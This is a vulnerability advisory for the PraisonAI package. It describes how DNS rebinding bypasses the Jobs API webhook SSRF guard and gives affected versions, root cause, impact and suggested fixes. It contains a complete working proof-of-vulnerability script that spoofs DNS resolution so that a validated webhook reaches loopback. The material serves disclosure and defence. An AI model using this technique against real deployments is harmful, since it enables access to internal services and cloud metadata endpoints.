PT-2026-53148 · Pypi · Praisonai

Published 2026-06-18 · Updated 2026-06-18

OSV

CVSS v3.1

7.2

High

Base vector

AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

Jobs webhook SSRF protection bypass via DNS rebinding

Summary

PraisonAI's Async Jobs API validates webhook url when a job request is parsed and again when the internal Job object is constructed. That validation blocks direct loopback/private targets, but it is not bound to the later network request. When a job completes, send webhook() passes the original hostname to httpx.AsyncClient.post() with no send-time validation, IP pinning, or guarded transport.

An attacker-controlled hostname can therefore resolve to a public IP during Pydantic validation and later resolve to loopback/private/cloud-metadata infrastructure during webhook delivery. This bypasses the intended SSRF guard in current supported releases.

This appears to be an incomplete fix / patch bypass for GHSA-8frj-8q3m-xhgm ("Server-Side Request Forgery via Unvalidated webhook url in Jobs API"). I defer to maintainers on whether this should be a new advisory/CVE or an amendment to the prior advisory, but current supported releases still appear affected.

Affected Component

Package:

praisonai

Files:

src/praisonai/praisonai/jobs/models.py
src/praisonai/praisonai/jobs/executor.py
src/praisonai/praisonai/jobs/router.py

Relevant code paths:

JobSubmitRequest.validate webhook url()
Job.validate webhook url()
JobExecutor. send webhook()
POST /api/v1/runs

Affected Versions

Validated affected:

• v4.5.126 (f00763937bf7f4d091e84533692fc0576fca9b99);
• v4.5.128 (b4e3a8a8);
• v4.6.56 (d3c4a2af);
• v4.6.57 (e90d92231853161ad931f3498da57651a9f8b528);
• current main (2f9677abb2ea68eab864ee8b6a828fd0141612e1, v4.6.57-4-g2f9677ab).

Suggested affected range for maintainer confirmation:

>= 4.5.126, <= 4.6.57

No patched version is known to me at submission time.

v4.5.124 and earlier are covered by the older unvalidated-webhook advisory. This report is scoped to patched-era releases where direct loopback/private webhook URLs are rejected but DNS rebinding still bypasses the guard.

Root Cause

Current validation is a time-of-check/time-of-use boundary:

1. JobSubmitRequest.webhook url is validated with urlparse() and socket.gethostbyname().
2. The resolved address is rejected when it is private, loopback, link-local, or multicast.
3. The original URL string is stored on the Job.
4. After job completion, send webhook() creates a fresh httpx.AsyncClient and POSTs to the original URL.
5. httpx resolves the hostname again. There is no revalidation of the address that is actually connected to.

The first DNS answer is therefore trusted for a later, independent DNS lookup. An attacker who controls DNS for the webhook hostname can return a public address during validation and an internal address during delivery.

Local Reproduction

The PoV is local-only. It starts a loopback HTTP server, monkeypatches resolver behavior in-process, and uses the real PraisonAI Job validator plus JobExecutor. send webhook() sender.

Run from a PraisonAI checkout:

env PYTHONPATH=src/praisonai python3 poc jobs webhook dns rebinding ssrf.py

Observed output on current main:

DIRECT LOOPBACK BLOCKED: {"Job": true, "JobSubmitRequest": true}
ACCEPTED WEBHOOK URL: http://rebind.test:<port>/hook
INTERNAL SERVER HIT: true
INTERNAL REQUEST HOST: rebind.test:<port>
INTERNAL REQUEST PATH: /hook
WEBHOOK PAYLOAD KEYS: completed at,duration seconds,error,job id,result,status
WEBHOOK PAYLOAD STATUS: succeeded
PRAI-CAND-005 CONFIRMED: Jobs webhook validation is bypassed by DNS rebinding

The direct control proves that the current guard is meant to reject loopback webhook destinations. The rebind case proves the same blocked destination class is reached when the hostname changes between validation and delivery.

Full Local PoV Script

#!/usr/bin/env python3
"""Local PoV for PraisonAI Jobs webhook DNS-rebinding SSRF.

The PoV uses only loopback services. It models an attacker-controlled hostname
that resolves to a public IP during PraisonAI's Pydantic validation, then
resolves to loopback when the async webhook sender later opens the connection.
"""

from  future  import annotations

import asyncio
import json
import queue
import socket
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer
from typing import Any

from praisonai.jobs.executor import JobExecutor
from praisonai.jobs.models import Job, JobSubmitRequest


ATTACKER HOST = "rebind.test"
PUBLIC IP = "93.184.216.34"


class InternalHandler(BaseHTTPRequestHandler):
  def do POST(self) -> None: # noqa: N802
    length = int(self.headers.get("content-length", "0"))
    body = self.rfile.read(length)
    self.server.received.put( # type: ignore[attr-defined]
      {
        "path": self.path,
        "host": self.headers.get("host"),
        "body": body.decode("utf-8", "replace"),
      }
    )
    self.send response(204)
    self.end headers()

  def log message(self, * args: Any) -> None:
    return


def assert direct loopback blocked(port: int) -> None:
  blocked = {}
  direct url = f"http://127.0.0.1:{port}/hook"
  for model in (JobSubmitRequest, Job):
    try:
      model(prompt="x", webhook url=direct url)
      blocked[model. name ] = False
    except Exception:
      blocked[model. name ] = True

  print("DIRECT LOOPBACK BLOCKED:", json.dumps(blocked, sort keys=True))
  if not all(blocked.values()):
    raise SystemExit("control failed: direct loopback webhook URL was accepted")


def build validated job(port: int) -> Job:
  original gethostbyname = socket.gethostbyname

  def validation gethostbyname(host: str) -> str:
    if host == ATTACKER HOST:
      return PUBLIC IP
    return original gethostbyname(host)

  socket.gethostbyname = validation gethostbyname
  try:
    webhook url = f"http://{ATTACKER HOST}:{port}/hook"
    request = JobSubmitRequest(prompt="x", webhook url=webhook url)
    job = Job(prompt=request.prompt, webhook url=request.webhook url)
    job.succeed({"pov": "job result sent to webhook"})
    return job
  finally:
    socket.gethostbyname = original gethostbyname


async def send after rebind(job: Job, port: int) -> None:
  original getaddrinfo = socket.getaddrinfo

  def send getaddrinfo(host: Any, port arg: int, *args: Any, **kwargs: Any):
    normalized host = host.decode() if isinstance(host, bytes) else host
    if normalized host == ATTACKER HOST:
      return [
        (
          socket.AF INET,
          socket.SOCK STREAM,
          socket.IPPROTO TCP,
          "",
          ("127.0.0.1", port arg),
        )
      ]
    return original getaddrinfo(host, port arg, *args, **kwargs)

  socket.getaddrinfo = send getaddrinfo
  try:
    await JobExecutor(store=None). send webhook(job) # type: ignore[arg-type]
  finally:
    socket.getaddrinfo = original getaddrinfo


def main() -> int:
  received: queue.Queue[dict[str, str]] = queue.Queue()
  server = HTTPServer(("127.0.0.1", 0), InternalHandler)
  server.received = received # type: ignore[attr-defined]
  port = int(server.server port)
  thread = threading.Thread(target=server.handle request, daemon=True)
  thread.start()

  try:
    assert direct loopback blocked(port)
    job = build validated job(port)
    print("ACCEPTED WEBHOOK URL:", job.webhook url)
    asyncio.run(send after rebind(job, port))
  finally:
    server.server close()

  try:
    hit = received.get nowait()
  except queue.Empty:
    raise SystemExit("bypass failed: loopback-only webhook receiver was not hit")

  payload = json.loads(hit["body"])
  print("INTERNAL SERVER HIT: true")
  print("INTERNAL REQUEST HOST:", hit["host"])
  print("INTERNAL REQUEST PATH:", hit["path"])
  print("WEBHOOK PAYLOAD KEYS:", ",".join(sorted(payload)))
  print("WEBHOOK PAYLOAD STATUS:", payload.get("status"))

  if hit["host"] != f"{ATTACKER HOST}:{port}":
    raise SystemExit("unexpected host header")
  if payload.get("status") != "succeeded":
    raise SystemExit("unexpected webhook payload")

  print("PRAI-CAND-005 CONFIRMED: Jobs webhook validation is bypassed by DNS rebinding")
  return 0


if  name  == " main ":
  raise SystemExit(main())

Intended-Behavior Validation

PraisonAI's Async Jobs documentation describes webhook url as the completion callback URL for submitted jobs. The deploy API docs list webhooks as a key feature and state that the async jobs API does not require authentication by default, with authentication left to server deployment configuration.

The code also proves the intended safety boundary: both JobSubmitRequest and Job currently reject direct http://127.0.0.1:<port>/... webhook URLs. The PoV does not rely on local webhooks being intentionally allowed; it demonstrates that a blocked local target becomes reachable after the validation-to-use DNS transition.

Impact

If an attacker can submit jobs to a PraisonAI Jobs API deployment and choose webhook url, they can cause the PraisonAI host to send POST requests to loopback, private-network, or cloud metadata endpoints reachable from that host.

Practical impact includes:

• blind interaction with internal HTTP services;
• internal host/port reachability probing via timing and webhook error behavior;
• POSTing attacker-controlled job result payloads to internal APIs with weak request validation;
• cloud metadata interaction where metadata endpoints accept the request method and the deployment network permits access.

This report does not claim response-body disclosure, RCE, or live credential theft without deployment-specific internal-service behavior. The SSRF primitive is still security-relevant because webhook delivery crosses a network boundary that current code explicitly tries to block.

Severity

Suggested severity: High for network-reachable Jobs API deployments where job submission is unauthenticated or attacker-accessible.

If maintainers model the Jobs API as loopback-only or authenticated in the affected deployment, severity may reasonably be reduced. I kept the primary rating aligned with the prior Jobs webhook SSRF advisory because PraisonAI's public docs state that authentication is not required by default and the same webhook sink remains reachable.

Suggested Fix

• Move SSRF validation to the send path immediately before opening the outbound connection.
• Resolve all candidate addresses with socket.getaddrinfo(), not only the first IPv4 answer from gethostbyname().
• Reject loopback, private, link-local, multicast, reserved, unspecified, and cloud metadata address ranges for every resolved address.
• Pin the validated address to the actual connection, or use a guarded HTTP transport/proxy that validates the destination after DNS resolution and before connect.
• Consider making Jobs API authentication mandatory by default for non-loopback binds, or require explicit opt-in to unauthenticated job submission.
• Add regression tests for direct loopback rejection, DNS rebind from public to loopback, IPv6/private AAAA records with public A records, and allowed public webhooks.

Fix

SSRF

Time Of Check To Time Of Use

Weakness Enumeration

CWE-918

CWE-367

Related Identifiers

GHSA-RJVW-7VVW-549V

Affected Products

Praisonai

References · 3

• https://osv.dev/vulnerability/GHSA-rjvw-7vvw-549v · Vendor Advisory
• https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rjvw-7vvw-549v · Note
• https://github.com/MervinPraison/PraisonAI · Note